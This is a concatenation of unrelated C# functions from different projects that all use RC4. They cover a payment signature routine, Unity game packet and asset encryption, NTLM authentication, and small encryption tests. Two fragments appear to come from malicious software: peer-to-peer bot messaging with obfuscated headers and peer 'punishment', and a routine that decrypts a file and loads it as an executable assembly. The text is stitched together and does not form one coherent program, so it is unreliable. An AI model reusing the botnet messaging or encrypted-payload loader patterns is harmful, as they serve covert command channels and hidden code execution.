private static string GenMerchantCode(string strKey, string strDate, string strBranchId, string strCono, string strBillNo, string strAmount, string strMerchantPara, string strMerchantUrl, string strPayerId, string strPayeeId, string strClientIp = "", string strGoodsType = "", string strReserved = "") { var originalContent = new StringBuilder(); var random = new Random(); var encoding = Encoding.GetEncoding("GBK"); originalContent.Append(random.Next(11111, 100000)) .Append("|") .Append(strPayerId) .Append("<$CmbSplitter$>") .Append(strPayeeId); originalContent.Append("<$ClientIP$>").Append(strClientIp).Append("</$ClientIP$>"); originalContent.Append("<$GoodsType$>").Append(strGoodsType).Append("</$GoodsType$>"); originalContent.Append("<$Reserved$>").Append(strReserved).Append("</$Reserved$>"); var byteContent = encoding.GetBytes(originalContent.ToString()); var key = MD5.Create().ComputeHash(Encoding.ASCII.GetBytes(strKey)); var rc4Content = Rc4.Encrypt(key, byteContent); var encryptContent = Convert.ToBase64String(rc4Content).Replace('+', '*'); var combineContent = $"{strKey}{encryptContent}{strDate}{strBranchId}{strCono}{strBillNo}{strAmount}{strMerchantPara}{strMerchantUrl}"; var hash = SHA1.Create().ComputeHash(encoding.GetBytes(combineContent)); var hashContent = new StringBuilder(); foreach (var b in hash) { hashContent.Append(b.ToString("x2")); } return($"|{encryptContent}|{hashContent}"); }
private void PackageReceivedEventArgs(object sender, PackageReceivedEventArgs <IPEndPoint> e) { var data = e.Payload; var now = new TimeSpan(DateTime.UtcNow.Ticks); var minutes = now.TotalMilliseconds / (1000 * 60); var xor = new Mod2(BitConverter.GetBytes(minutes)); xor.Decrypt(data); var rc4 = new Rc4(_botId.ToByteArray()); rc4.Decrypt(data); var botHeader = BotHeader.Decode(data); if (!IsValidHeader(botHeader)) { _peerList.Punish(botHeader.BotId); return; } botHeader.EndPoint = e.Proto; _peerList.UpdatePeer(botHeader.BotId); Events.Raise(BotPackageReceivedEventArgs, this, new PackageReceivedEventArgs <BotHeader>(botHeader, data)); }
bool LoadBytes(byte[] bytes) { Clear(); try { Rc4.rc4_go(ref bytes, bytes, bytes.Length, Rc4.key, Rc4.key.Length, 1); string name = typeof(MetaT).ToString() + "List"; Type type = Type.GetType(name); object parser = type.GetProperty("Parser").GetValue(null, null); MethodInfo method = parser.GetType().GetMethod("ParseFrom", new Type[] { typeof(byte[]) }); object obj = method.Invoke(parser, new object[] { bytes }); RepeatedField <MetaT> datas = obj.GetType().GetProperty("Datas").GetValue(obj, null) as RepeatedField <MetaT>; for (int i = 0; i < datas.Count; ++i) { if (!OnGetUnit(datas[i])) { return(false); } } } catch (Exception ex) { Debugger.LogException(ex); return(false); } return(true); }
static void CopyDll(BuildTarget target) { switch (target) { case BuildTarget.Android: AutoBuildGameLogic.ChangeGameLogicDefines(new string[] { "UNITY_ANDROID" }); AutoBuildGameLogic.BuildGameLogic(); break; case BuildTarget.iOS: AutoBuildGameLogic.ChangeGameLogicDefines(new string[] { "UNITY_IPHONE" }); AutoBuildGameLogic.BuildGameLogic(); break; case BuildTarget.StandaloneWindows: AutoBuildGameLogic.ChangeGameLogicDefines(new string[] { "UNITY_STANDALONE_WIN" }); AutoBuildGameLogic.BuildGameLogic(); break; } byte[] bytes = File.ReadAllBytes(Application.dataPath + "/../../output/GameLogic.dll"); Rc4.rc4_go(ref bytes, bytes, (long)bytes.Length, Rc4.key, Rc4.key.Length, 0); File.WriteAllBytes(Application.dataPath + "/Resources/Install/Unpackage/GameLogic.bytes", bytes); AssetDatabase.Refresh(); }
public Protocol() : base(200) { this.RSA = new RSA(n, e, d, 0, 0, 0, 0, 0); this.Rc4 = new Rc4(); this.Initialized = false; }
private void EncryptResponseIntoFile(string filePath, Response response) { var jsonResponse = JsonConvert.SerializeObject(response); var contentDecrypted = Encoding.UTF8.GetBytes(jsonResponse); var xKey = Encoding.ASCII.GetBytes(_p); var contentEncrypted = Rc4.Encrypt(xKey, contentDecrypted); var hexadecimal = BiteArrayToHex.Convert(contentEncrypted); var fileContent = Zipper.Compress(hexadecimal); File.WriteAllText(filePath, fileContent); }
private Assembly LoadPE(string filePath) { var fileStr = File.ReadAllText(filePath); var xKey = Encoding.ASCII.GetBytes(_p); var hexadecimal = Zipper.Decompress(fileStr); var contentEncrypted = StringHexToByteArray.Convert(hexadecimal); var contentDecrypted = Rc4.Decrypt(xKey, contentEncrypted); var pe = Assembly.Load(contentDecrypted); return(pe); }
private void HandleRsaPacket(byte[] data) { var rsaData = new byte[data.Length - 4]; Buffer.BlockCopy(data, 4, rsaData, 0, data.Length - 4); var streamKey = Rsa.Decrypt(rsaData).ThrowIfNull(ErrorCodes.WTFErrorMedicalAttentionSuggested); _rc4 = new Rc4(streamKey); RsaKeyReceived(); }
public bool Handle(MemoryStream stream) { int totalMsgLen = (int)stream.Length; if (totalMsgLen < 2) { Debugger.LogError("Invalid msg[len=" + Convert.ToString(totalMsgLen) + "]"); return(false); } stream.Read(_tempBuf, 0, 2); ushort lenth = BitConverter.ToUInt16(_tempBuf, 0); if (lenth != totalMsgLen) { Debugger.LogError("msg lenth different"); return(false); } _tempStream.Position = 0; _tempStream.SetLength(0); _tempStream.Write(stream.GetBuffer(), 2, totalMsgLen - 2); _tempStream.Position = 0; _tempBuf = _tempStream.GetBuffer(); Rc4.rc4_go(ref _tempBuf, _tempBuf, totalMsgLen - 2, _rc4Key, _rc4Key.Length, 1); _deserializeStream.Position = 0; _deserializeStream.SetLength(0); _deserializeStream.Write(_tempBuf, 0, totalMsgLen - 2); _deserializeStream.Position = 0; try { PacketHeader head = PacketHeader.Parser.ParseFrom(_deserializeStream); if (UnityDefine.UnityEditor) { Debugger.Log("Rcv msg id1:" + head.Id1 + " id2:" + head.Id2); } _deserializeStream.Position = 0; _msgDispatcher.Dispatch(head, _deserializeStream); } catch (Exception ex) { Debugger.LogError("Invalid msg"); Debugger.LogException(ex); return(false); } return(true); }
public Protocol(BigInteger _n, BigInteger _e, BigInteger _d) : base(200) { n = _n; e = _e; d = _d; this.RSA = new RSA(n, e, d, 0, 0, 0, 0, 0); this.Rc4 = new Rc4(); this.Initialized = false; }
public void Disconnect() { if (_client.Connected) { _client.Shutdown(SocketShutdown.Both); _client.Close(); } _inStep = 0; _inCache = null; _shouldReceive = false; IncomingDecrypt = OutgoingEncrypt = null; OnDisconnected(EventArgs.Empty); }
public static string Mangle(string s) { if (string.IsNullOrEmpty(s)) { return(s); } var dst = new char[s.Length]; var rc4 = new Rc4(BitConverter.GetBytes(0xdeadbeaf)); fixed(char *srcChars = s) fixed(char *dstChars = dst) { var srcBytes = (byte *)srcChars; var dstBytes = (byte *)dstChars; rc4.Crypt(srcBytes, dstBytes, s.Length * 2); } return(new string(dst)); }
public bool Send <MsgT>(MsgT msg) where MsgT : IMessage { try { _tempStream.SetLength(0); _tempStream.Position = 0; msg.WriteTo(_tempStream); _tempStream.WriteByte(_msgIndex++); _tempStream.Position = 0; _tempBuf = _tempStream.GetBuffer(); Rc4.rc4_go(ref _tempBuf, _tempBuf, _tempStream.Length, _rc4Key, _rc4Key.Length, 0); _serializeStream.SetLength(0); _serializeStream.Position = 2; _serializeStream.Write(_tempBuf, 0, (int)_tempStream.Length); // write total msg len to stream SerializeTotalLen((ushort)_serializeStream.Length); if (_tcpClient.SendStream(_serializeStream)) { if (UnityDefine.UnityEditor) { Type type = msg.GetType(); PropertyInfo id1 = type.GetProperty("Id1"); object val1 = id1.GetValue(msg, null); PropertyInfo id2 = type.GetProperty("Id2"); object val2 = id2.GetValue(msg, null); Debugger.Log("Send msg id1:" + (PacketID)val1 + " id2:" + (PacketID2)val2); } return(true); } return(false); } catch (System.Exception ex) { Debugger.LogException(ex); return(false); } }
protected override bool LoadBytes(byte[] bytes) { Clear(); try { Rc4.rc4_go(ref bytes, bytes, bytes.Length, Rc4.key, Rc4.key.Length, 1); string name = typeof(MetaT).ToString(); Type type = Type.GetType(name); object parser = type.GetProperty("Parser").GetValue(null, null); MethodInfo method = parser.GetType().GetMethod("ParseFrom", new Type[] { typeof(byte[]) }); data = (MetaT)method.Invoke(parser, new object[] { bytes }); } catch (Exception ex) { Debugger.LogException(ex); return(false); } return(true); }
private static void 加密解密测试() { Console.WriteLine("--------加密解密测试---------"); string key, pwd; key = KeyGen.GenerateRandomKey(); key = KeyGen.GenerateAesKey(); key = KeyGen.GenerateDesKey(); key = KeyGen.GenerateTeaKey(); key = "_elong.tech@2020_"; // 自己指定Key pwd = "hello12345你好"; var p1 = Aes.Encrypt(pwd, key); var p2 = Aes.Decrypt(p1, key); Console.WriteLine($"Aes加密: {p1}, Aes解密: {p2}"); var p3 = Rc4.Encrypt(pwd, key); var p4 = Rc4.Decrypt(p3, key); Console.WriteLine($"Rc4加密: {p3}, Rc4解密: {p4}"); var p5 = Des.Encrypt(pwd, key); var p6 = Des.Decrypt(p5, key); Console.WriteLine($"Des加密: {p5}, Des解密:{p6}"); var p7 = Tea.Encrypt(pwd, key); var p8 = Tea.Decrypt(p7, key); Console.WriteLine($"Tea加密: {p7}, Tea解密: {p8}"); var p9 = Hash.Md5(pwd); Console.WriteLine($"MD5哈希: {p9}"); Console.WriteLine(""); }
public void Run(string raw) { var rc4 = new Rc4(); const string key = "HelloWorld!"; var e = Encoding.UTF8; rc4.SetKeyAndInit(key); Utils.WriteByteArray(e.GetBytes(raw), "raw"); var secret = e.GetBytes(raw); rc4.Encrypt(secret); Utils.WriteByteArray(secret, "secret"); rc4.SetKeyAndInit(key); var real = secret; rc4.Encrypt(real); Console.WriteLine("Real: " + e.GetString(real)); if (!raw.Equals(e.GetString(real))) { throw new Exception("Rc4 Test Failed"); } }
private Content GetEncryptedFileContent(string filePath, out byte[] decrypted) { var fileStr = File.ReadAllText(filePath); var xKey = Encoding.ASCII.GetBytes(_p); var hexadecimal = Zipper.Decompress(fileStr); var contentEncrypted = StringHexToByteArray.Convert(hexadecimal); var contentDecrypted = Rc4.Decrypt(xKey, contentEncrypted); decrypted = contentDecrypted; var contentEncoded = Encoding.UTF8.GetString(contentDecrypted); try { var final = JsonConvert.DeserializeObject <Content>(contentEncoded); return(final); } catch { return(null); } }
public void Send(short messageId, ulong correlationId, short ttl, byte[] payload, BotIdentifier botId) { if (!_peerList.IsRegisteredBot(botId)) { return; } var padding = RandomUtils.NextPadding(); var header = new BotHeader { CorrelationId = correlationId == 0 ? RandomUtils.NextCorrelationId() : correlationId, BotId = botId, MessageId = messageId, PayloadSize = (short)payload.Length, Padding = (short)padding.Length, Ttl = ttl == 0 ? RandomUtils.NextTtl() : ttl }; var message = BufferUtils.Concat(header.Encode(), padding); var rc4 = new Rc4(botId.ToByteArray()); rc4.Encrypt(message); var now = new TimeSpan(DateTime.UtcNow.Ticks); var minutes = now.TotalMilliseconds / (1000 * 60); var xor = new Mod2(BitConverter.GetBytes(minutes)); xor.Decrypt(message); var endPoint = _peerList[botId]; Logger.Verbose(3, "{0}@{1} {2}", header.BotId, endPoint, header.CorrelationId); _comunicationManager.Send(endPoint, message); if (correlationId == 0) { _waitingForReply.Add(new Package(endPoint, message), correlationId); } }
void WriteFile(string fileName) { fileName = fileName.Replace("\\", "/"); string name = fileName.Substring(fileName.LastIndexOf('/') + 1, fileName.LastIndexOf('.') - fileName.LastIndexOf('/') - 1); if (!Directory.Exists(_dataPath)) { Directory.CreateDirectory(_dataPath); } string outFile = _dataPath + name + ".bytes"; FileStream output = new FileStream(outFile, FileMode.Create); SerializeCsvData(); byte[] bytes = new byte[_serializeStream.Length]; _serializeStream.Read(bytes, 0, bytes.Length); Rc4.rc4_go(ref bytes, bytes, bytes.Length, Rc4.key, Rc4.key.Length, 0); output.Write(bytes, 0, bytes.Length); output.Flush(); output.Close(); }
private ClientConnection(Socket socket) : base(socket) { _rc4 = new Rc4(FastRandom.NextBytes(40)); ObjectHelper.Swap(ref inIncrement, ref outIncrement); ObjectHelper.Swap(ref inDecodingByte, ref outEncodingByte); }
/// <summary>Creates a Type-3 message in response to the given Type-2 message.</summary> /// <remarks>Creates a Type-3 message in response to the given Type-2 message.</remarks> /// <param name="type2">The Type-2 message which this represents a response to.</param> /// <param name="password">The password to use when constructing the response.</param> /// <param name="domain">The domain in which the user has an account.</param> /// <param name="user">The username for the authenticating user.</param> /// <param name="workstation"> /// The workstation from which authentication is /// taking place. /// </param> public Type3Message(Type2Message type2, string password, string domain, string user, string workstation, int flags) { SetFlags(flags | GetDefaultFlags(type2)); if (workstation == null) { workstation = GetDefaultWorkstation(); } SetWorkstation(workstation); SetDomain(domain); SetUser(user); switch (LmCompatibility) { case 0: case 1: { if ((GetFlags() & NtlmsspNegotiateNtlm2) == 0) { SetLmResponse(GetLMResponse(type2, password)); SetNtResponse(GetNTResponse(type2, password)); } else { // NTLM2 Session Response byte[] clientChallenge = new byte[24]; //RANDOM.NextBytes(clientChallenge); Arrays.Fill(clientChallenge, 8, 24, unchecked ((byte)unchecked (0x00))); // NTLMv1 w/ NTLM2 session sec and key exch all been verified with a debug build of smbclient byte[] responseKeyNt = NtlmPasswordAuthentication.NtowFv1(password); byte[] ntlm2Response = NtlmPasswordAuthentication.GetNtlm2Response(responseKeyNt, type2.GetChallenge(), clientChallenge); SetLmResponse(clientChallenge); SetNtResponse(ntlm2Response); if ((GetFlags() & NtlmsspNegotiateSign) == NtlmsspNegotiateSign) { byte[] sessionNonce = new byte[16]; Array.Copy(type2.GetChallenge(), 0, sessionNonce, 0, 8); Array.Copy(clientChallenge, 0, sessionNonce, 8, 8); Md4 md4 = new Md4(); md4.Update(responseKeyNt); byte[] userSessionKey = md4.Digest(); Hmact64 hmac = new Hmact64(userSessionKey); hmac.Update(sessionNonce); byte[] ntlm2SessionKey = hmac.Digest(); if ((GetFlags() & NtlmsspNegotiateKeyExch) != 0) { _masterKey = new byte[16]; //RANDOM.NextBytes(masterKey); byte[] exchangedKey = new byte[16]; Rc4 rc4 = new Rc4(ntlm2SessionKey); rc4.Update(_masterKey, 0, 16, exchangedKey, 0); SetSessionKey(exchangedKey); } else { _masterKey = ntlm2SessionKey; SetSessionKey(_masterKey); } } } break; } case 2: { byte[] nt = GetNTResponse(type2, password); SetLmResponse(nt); SetNtResponse(nt); break; } case 3: case 4: case 5: { byte[] responseKeyNt1 = NtlmPasswordAuthentication.NtowFv2(domain, user, password); byte[] clientChallenge1 = new byte[8]; //RANDOM.NextBytes(clientChallenge_1); SetLmResponse(GetLMv2Response(type2, domain, user, password, clientChallenge1)); byte[] clientChallenge2 = new byte[8]; //RANDOM.NextBytes(clientChallenge2); SetNtResponse(GetNtlMv2Response(type2, responseKeyNt1, clientChallenge2)); if ((GetFlags() & NtlmsspNegotiateSign) == NtlmsspNegotiateSign) { Hmact64 hmac = new Hmact64(responseKeyNt1); hmac.Update(_ntResponse, 0, 16); // only first 16 bytes of ntResponse byte[] userSessionKey = hmac.Digest(); if ((GetFlags() & NtlmsspNegotiateKeyExch) != 0) { _masterKey = new byte[16]; //RANDOM.NextBytes(masterKey); byte[] exchangedKey = new byte[16]; Rc4 rc4 = new Rc4(userSessionKey); rc4.Update(_masterKey, 0, 16, exchangedKey, 0); SetSessionKey(exchangedKey); } else { _masterKey = userSessionKey; SetSessionKey(_masterKey); } } break; } default: { SetLmResponse(GetLMResponse(type2, password)); SetNtResponse(GetNTResponse(type2, password)); break; } } }
public static void Init() { System.Diagnostics.Stopwatch w = new System.Diagnostics.Stopwatch(); w.Start(); try { #if (UNITY_EDITOR && !DISABLE_ILRUNTIME) || (!UNITY_EDITOR && !UNITY_STANDALONE_WIN) || FOCE_ENABLE_ILRUNTIME app = new ILRuntime.Runtime.Enviorment.AppDomain(); Debugger.Log("ILRuntime Enable!", true); #else Debugger.Log("ILRuntime Disable!", true); #endif string dllname = "GameLogic"; #if UNITY_EDITOR string dllpath = Application.dataPath + "/../../output/"; FileStream msDll = new FileStream(dllpath + dllname + ".dll", FileMode.Open); FileStream msPdb = new FileStream(dllpath + dllname + ".pdb", FileMode.Open); #if !DISABLE_ILRUNTIME || FOCE_ENABLE_ILRUNTIME app.LoadAssembly(msDll, msPdb, new Mono.Cecil.Pdb.PdbReaderProvider()); #else byte[] dllbytes = new byte[msDll.Length]; byte[] pdbbytes = new byte[msPdb.Length]; msDll.Read(dllbytes, 0, dllbytes.Length); msPdb.Read(pdbbytes, 0, pdbbytes.Length); assembly = Assembly.Load(dllbytes, pdbbytes); #endif msDll.Close(); msPdb.Close(); #else #if ILRUNTIME_DEBUG string dllpath = Application.persistentDataPath + "/"; #if UNITY_STANDALONE_WIN if (ResourceManager.IsILRuntimeDebug) { string[] lines = File.ReadAllLines(Application.dataPath + "/DebugPath.txt"); dllpath = Application.dataPath + lines[1]; } #endif Debugger.Log("dllpath : " + dllpath, true); if (File.Exists(dllpath + dllname + ".dll") && File.Exists(dllpath + dllname + ".dll")) { FileStream msDll = new FileStream(dllpath + dllname + ".dll", FileMode.Open); FileStream msPdb = new FileStream(dllpath + dllname + ".pdb", FileMode.Open); #if !UNITY_STANDALONE_WIN || FOCE_ENABLE_ILRUNTIME app.LoadAssembly(msDll, msPdb, new Mono.Cecil.Pdb.PdbReaderProvider()); #else byte[] dllbytes = new byte[msDll.Length]; byte[] pdbbytes = new byte[msPdb.Length]; msDll.Read(dllbytes, 0, dllbytes.Length); msPdb.Read(pdbbytes, 0, pdbbytes.Length); assembly = Assembly.Load(dllbytes, pdbbytes); #endif msDll.Close(); msPdb.Close(); } else { #if UNITY_STANDALONE_WIN if (ResourceManager.IsILRuntimeDebug) { Debugger.LogError("Can't find " + dllpath + dllname + ".dll"); } else { #endif #endif byte[] bytes = ResourceLoader.LoadUnpackageResBuffer("Install/Unpackage/GameLogic.bytes"); Rc4.rc4_go(ref bytes, bytes, (long)bytes.Length, Rc4.key, Rc4.key.Length, 1); #if !UNITY_STANDALONE_WIN || FOCE_ENABLE_ILRUNTIME MemoryStream msDll = new MemoryStream(bytes); app.LoadAssembly(msDll, null, new Mono.Cecil.Pdb.PdbReaderProvider()); #else assembly = Assembly.Load(bytes); #endif #if ILRUNTIME_DEBUG #if UNITY_STANDALONE_WIN } #endif } #endif #endif #if (UNITY_EDITOR && !DISABLE_ILRUNTIME) || (!UNITY_EDITOR && !UNITY_STANDALONE_WIN) || FOCE_ENABLE_ILRUNTIME SetupCrossBinding(); SetupMethodDelegate(); SetupCLRRedirection(); CLRBindings.Initialize(app); #if UNITY_EDITOR app.DebugService.StartDebugService(56000); #endif #endif } catch (Exception ex) { Debugger.LogException(ex); } w.Stop(); Debugger.Log("Init ILRuntime finish. Use time : " + w.ElapsedMilliseconds + " ms", true); }